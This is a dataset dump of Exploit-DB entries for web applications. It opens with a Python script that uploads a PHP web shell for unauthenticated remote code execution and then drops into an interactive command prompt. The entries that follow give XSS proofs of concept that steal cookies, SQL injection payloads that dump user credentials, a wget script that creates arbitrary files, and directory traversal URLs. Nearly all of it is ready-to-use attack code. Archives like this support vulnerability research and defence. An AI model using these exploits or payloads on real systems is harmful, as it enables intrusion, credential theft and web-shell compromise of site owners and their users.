deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49823
Description: Internship Portal Management System 1.0 - Remote Code Execution(Unauthenticated)
Type: webapps
Platform: php
Date: 2021-05-04
Author: argenestel

Exploit:
# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
# Date: 2021-05-04
# Exploit Author: argenestel
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: Debian 10

import requests
import time

#change the url to the site running the vulnerable system
url="http://127.0.0.1:4000"
#burp proxy
proxies = {
 "http": "http://127.0.0.1:8080",
}
#payload
payload='<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'

#the upload point
insert_url=url+"/inserty.php"

def fill_details():
    global payload
    global shellend
    global shellstart
    print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
    #time start
    shellstart=int(time.time())
    #print(shellstart)
    files  = {'file':('shell.php',payload,
                    'image/png', {'Content-Disposition': 'form-data'}
                  )
              }
    data = {
            "company_name":"some",
            "first_name":"some",
            "last_name":"some",
            "email":"some@some.com",
            "gender":"Male",
            "insert_button":"Apply",
            "terms":"on"
    }
    r = requests.post(insert_url, data=data, files=files)
    if r.status_code == 200:
        print("Exploited Intern System Successfully...")
        shellend = int(time.time())
        #print(shellend)
        shell()
    else:
        print("Exploit Failed")

def shell():
    for shellname in range(shellstart, shellend+1):
        shellstr=str(shellname)
        shell_url=url+"/upload/"+shellstr+"_shell.php"
        r = requests.get(shell_url)
        if r.status_code == 200:
            shell_url=url+"/upload/"+shellstr+"_shell.php"
            break
    
    r = requests.get(shell_url)
    if r.status_code == 200:
        print("Shell Starting...")
        while True:
            cmd=input("cmd$ ")
            r = requests.get(shell_url+"?cmd="+cmd)
            print(r.text)
    else:
        print("File Name Error")


fill_details()
Exploit-DB #35548
Description: InTerra Blog Machine 1.84 - 'subject' HTML Injection
Type: webapps
Platform: php
Date: 2011-03-31
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47104/info

InTerra Blog Machine is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

InTerra Blog Machine 1.84 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" --> <input type="hidden" name="subject" value=&#039;post title"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="content" value=&#039;content&#039;> <input type="hidden" name="date[Date_Day]" value="31"> <input type="hidden" name="date[Date_Month]" value="03"> <input type="hidden" name="date[Date_Year]" value="2011"> <input type="hidden" name="time[Time_Hour]" value="13"> <input type="hidden" name="time[Time_Minute]" value="59"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="section" value="0"> <input type="hidden" name="sectionNewName" value=""> <input type="hidden" name="sectionNewUnix" value=""> <input type="hidden" name="sectionNewHidden" value="0"> <input type="hidden" name="replicate" value="1"> <input type="hidden" name="keywords" value=""> <input type="hidden" name="edit" value="POST_ID"> </form> <script> document.main.submit(); </script>
Exploit-DB #17098
Description: InTerra Blog Machine 1.84 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-01
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22931
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machin
e.html
Product: InTerra Blog Machine
Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ )
Vulnerable Version: 1.84 and probably prior versions
Vendor Notification: 31 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in "subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" -->
<input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="content" value='content'>
<input type="hidden" name="date[Date_Day]" value="31">
<input type="hidden" name="date[Date_Month]" value="03">
<input type="hidden" name="date[Date_Year]" value="2011">
<input type="hidden" name="time[Time_Hour]" value="13">
<input type="hidden" name="time[Time_Minute]" value="59">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="section" value="0">
<input type="hidden" name="sectionNewName" value="">
<input type="hidden" name="sectionNewUnix" value="">
<input type="hidden" name="sectionNewHidden" value="0">
<input type="hidden" name="replicate" value="1">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="edit" value="POST_ID">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #14160
Description: Interscan Web Security 5.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-01
Author: Ivan Huertas

Exploit:
####################################################################################
# Exploit Title: Permanent XSS in InterScan Web Security Virtual Appliance 5.0
# Author: Ivan Huertas
# Software Link: http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU&lang_loc=1
# Version: 5.0
# Tested on: Red Hat Nash 5.1
# Code : 
POST /login_account_add_modify.jsp HTTP/1.1
Host: xx.xx.xx.xx:1812
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8)
Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: xx.xx.xx.xx:1812
Cookie: JSESSIONID=8466E24FDCCB840BDE17D972210DA20E
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
op=add&userid=consultor1&password_changed=true&PASS1=xxxx&PASS2=xxxx&desc=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&access_rights=reportonly
####################################################################################

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14160.pdf
Exploit-DB #25599
Description: Interspire articlelive 2005 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-04
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13493/info

Interspire ArticleLive is reportedly prone to multiple vulnerabilities. These issues may allow a remote attacker to gain administrative access to the application and carry out various cross-site scripting attacks.

Interspire ArticleLive 2005 is reportedly affected by these issues. 

http://www.example.com/search?PHPSESSID=2a657f6c30d2c9ecd71956c2952fcd0e&Query='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&Categor
ies=0

http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username='"><script>alert(document.cookie)</sc
ript>&[CREDENTIAL_REDACTED]=dcrab&FirstName=&LastName=&Email=&Biography=dcrab&Picture=dcrab

http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&[CREDENTIAL_REDACTED]=dcrab&FirstNam
e='"><script>alert(document.cookie)</script>&LastName=&Email=&Biography=dcrab&Picture=dcrab

http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&[CREDENTIAL_REDACTED]=dcrab&FirstNam
e=&LastName='"><script>alert(document.cookie)</script>&Email=&Biography=dcrab&Picture=dcrab

http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&[CREDENTIAL_REDACTED]=dcrab&FirstNam
e=&LastName=&Email='"><script>alert(document.cookie)</script>&Biography=dcrab&Picture=dcrab

http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&[CREDENTIAL_REDACTED]=dcrab&FirstNam
e=&LastName=&Email=&Biography=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&Picture=dcrab

http://www.example.com/blogs/newcomment/?BlogId='"><script>alert(document.cookie)</script>
Exploit-DB #25262
Description: Interspire ArticleLive 2005 - NewComment Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-23
Author: mircia

Exploit:
source: https://www.securityfocus.com/bid/12879/info

Interspire ArticleLive 2005 is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/articles/newcomment?ArticleId=">&lt;script&gt;alert('hi')&lt;/script&gt;
Exploit-DB #37935
Description: Interspire Email Marketer - Cross-Site Scripting / HTML Injection / SQL Injection
Type: webapps
Platform: php
Date: 2012-10-08
Author: Ibrahim El-Sayed

Exploit:
source: https://www.securityfocus.com/bid/55829/info

Interspire Email Marketer is prone to the following input-validation vulnerabilities because it fails to properly sanitize user-supplied input:

1. An SQL injection vulnerabilities
2. Multiple HTML injection vulnerabilities
3. A cross-site scripting vulnerability

Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Email Marketer 6.0.1 is vulnerable; other versions may be affected. 

http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&; Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- [SQLi]

http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&; Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi]

http://www.example.com/admin/index.php?Page=Addons&Addon=
dynamiccontenttags&Action=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20onload=alert%28%22VL%22%29%3C/iframe%3E [XSS]
Exploit-DB #28769
Description: Interspire FastFind - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-27
Author: MizoZ

Exploit:
source: https://www.securityfocus.com/bid/20380/info

Interspire FastFind is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?query=<script>alert(1)</script>&type=simple
Exploit-DB #33636
Description: Interspire Knowledge Manager 5 - 'callback.snipshot.php' Arbitrary File Creation
Type: webapps
Platform: php
Date: 2010-02-03
Author: Cory Marsh

Exploit:
source: https://www.securityfocus.com/bid/38186/info

Interspire Knowledge Manager is prone to a vulnerability that allows attackers to create arbitrary files on a vulnerable computer.

An attacker may exploit this issue to create arbitrary files, which may then be executed to perform unauthorized actions. This may aid in further attacks.

Knowledge Manager 5.1.3 is vulnerable; other versions may also be affected. 

# #!/bin/sh
# echo "$0 <target_url> <relative_path_from_admin_dir> <file_name>
<content_url>
# example: $0 http://target.com/knowledge_base ../../../ file.php
http://source
# if kb is installed at knowledge_base, then the file: file.php will be
# created in the base application directory from the content at
http://source
# "
# sessionUrl=$1'/admin/de/dialog/file_manager.php'
# uploadUrl=$1'/admin/de/dialog/callback.snipshot.php'
# wget -O r1 --save-cookies tmp.cookies --keep-session-cookies
"$sessionUrl?userdocroot=$2&imgDir=&obj=1"
# echo "session created, setting file name $2$3"
# wget -O r2 --keep-session-cookies --load-cookies tmp.cookies
"$uploadUrl?action=step1&source_image=name&save_file_as=$3"
# echo "upload content from: $4 ..."
# wget -O r3 --keep-session-cookies --load-cookies tmp.cookies
"$uploadUrl?action=step2&source_image=name&save_file_as=$3&snipshot_output=$4"
# echo "file created test access to the script at: $1/admin/de/dialog/$2$3";
Exploit-DB #33262
Description: Interspire Knowledge Manager 5 - 'p' Directory Traversal
Type: webapps
Platform: php
Date: 2009-09-29
Author: Infected Web

Exploit:
source: https://www.securityfocus.com/bid/36541/info

Interspire Knowledge Manager is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Knowledge Manager 5 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/admin/de/dialog/file_manager.php?w=&p=/../../../../../../../../../../../../../etc/hosts
Exploit-DB #33595
Description: Interspire Knowledge Manager < 5.1.3 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-04
Author: Cory Marsh

Exploit:
source: https://www.securityfocus.com/bid/38090/info

Interspire Knowledge Manager is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and an information-disclosure vulnerability.

Exploiting these issues could allow an attacker to obtain sensitive information, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Interspire Knowledge Manager 5.1.3 and prior versions are vulnerable.

http://www.example.com/admin/de/colormenu.php?sp=f";[xss];a="
Exploit-DB #11748
Description: Interspire SHOPPING CART 5.5.4 - Ultimate Edition backup dump
Type: webapps
Platform: php
Date: 2010-03-15
Author: indoushka

Exploit:
========================================================================================
| ( Title    ) INTERSPIRE SHOPPING CART 5.5.4 - Ultimate Edition backup dump Vulnerability
| ( Author   ) indoushka
| ( email    ) indoushka@hotmail.com                                                                                                                $
| ( Web Site ) http://www.megaupload.com/?d=VCXHBRO9                                                                                                $
| ( Script   ) Powered by Shopping Cart
| ( Tested on) Lunix Fran&#65533;ais v.(9.10 Ubuntu)
| ( Bug      ) backup
|
======================      Exploit By indoushka       =================================
 # Exploit  :

 1 - http://127.0.0.1/sc/admin/backups/

 2 - http://127.0.0.1/sc/admin/

 Go to import products to upload shell

 http://127.0.0.1/sc/admin/resources\tutorials\import_products.html

Dz-Ghost Team ===== Saoucha * Star08 * Redda * n2n * XproratiX ==========================================
Exploit-db Team :
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net
www.alkrsan.net * www.kadmiwe.net * www.arhack.net
---------------------------------------------------------------------------------------------------------
Exploit-DB #27070
Description: Interspire TrackPoint NX - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-12
Author: M.Neset KABAKLI

Exploit:
source: https://www.securityfocus.com/bid/16214/info

TrackPoint NX is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

TrackPoint NX versions less than 0.1 are reported to be vulnerable. 

http://www.example.com/[tpointdir]/index.php?Page=login&Action=Login&username=[XSS]
Exploit-DB #11440
Description: InterTech Co 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-13
Author: Red-D3v1L

Exploit:
------------------------------------------------------
             ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _         
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ /
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_1_0 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
 
------------------------------------------------------

 [?] ~ Note : happy valentine day

 
########### InterTech Co 1.0 Multiple Vulnerabilities ############
#
#       Author : Red-D3v1L
#
#       For Ask: R-d@passport.com
#       
#       Home : www.sEc-r1z.com
#
#       Script Home : http://intertech.ps/      
#
#       app version : 1.0
#
#       Greetz : sEc-r1z# CrEw ; Mr.Tro0oqy ; My LovE A ; And All my Frindes
#
#################################################################################

 Dork : Designed by:InterTech Co

####### Exploit Multiple  #######################################################
#
#    1 - SQL injection Vulnerability
#
#    Exploit: http://site.com/path/etemplate.php?id=[SQL injection]
#
# Red-D3v1L << ABu-AlzOz >>
#################################################################################
Exploit-DB #32413
Description: InterTech WCMS - 'etemplate.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-23
Author: GeNiUs IrAQI

Exploit:
source: https://www.securityfocus.com/bid/31350/info

InterTech Web Content Management System (WCMS) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/etemplate.php?id=-5+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users--
Exploit-DB #12722
Description: interuse Website Builder & design - 'index2.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

interuse Website Builder & design (index2.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Home: http://www.interuse.co.il/

-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/index2.php?id=6&catId=57&productId=-87%20union%20select%200,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,version%28%29,38,group_concat%28table_name%29,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56%20from%20information_schema.tables
-------------------------------------------------------------------------------------------
Exploit-DB #49279
Description: Interview Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-17
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Interview Management System 1.0 - 'id' SQL Injection
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-10
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14585/interview-management-system-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14585&title=Interview+Management+System+in+PHP%2FMySQLi+with+Full+Source+Code
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS

Step 1. Login to the application with any verified user credentials

Step 2. Click on View Candidates page and select take exam. If there is no
candidate, click on "Add New Candidate" page, fill details and add new
candidate.

Step 3. Click on "Take Exam" and capture the request in burpsuite.

Step 4. Save request and run sqlmap on request file using command " sqlmap
-r request -p id --time-sec=5 --dbs ".

Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (7913=7913) THEN 1 ELSE (SELECT 5980
UNION SELECT 3372) END))

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: id=1;SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6708 FROM (SELECT(SLEEP(5)))QTiW)
---
Exploit-DB #49278
Description: Interview Management System 1.0 - Stored XSS in Add New Question
Type: webapps
Platform: php
Date: 2020-12-17
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Interview Management System 1.0 - Stored XSS in Add New Question
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-09
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14585/interview-management-system-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14585&title=Interview+Management+System+in+PHP%2FMySQLi+with+Full+Source+Codee
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS

Step 1: Log in to the application with any valid user credentials.

Step 2: Click on Add New Question Page.

Step 3: input "<script>alert(document.cookie)</script>" in the new question
field and select add new question.

Step 4: Once you have an XSS payload as a question in add new question
page, click on View Questions Page.

Step 5: This will trigger the XSS payload.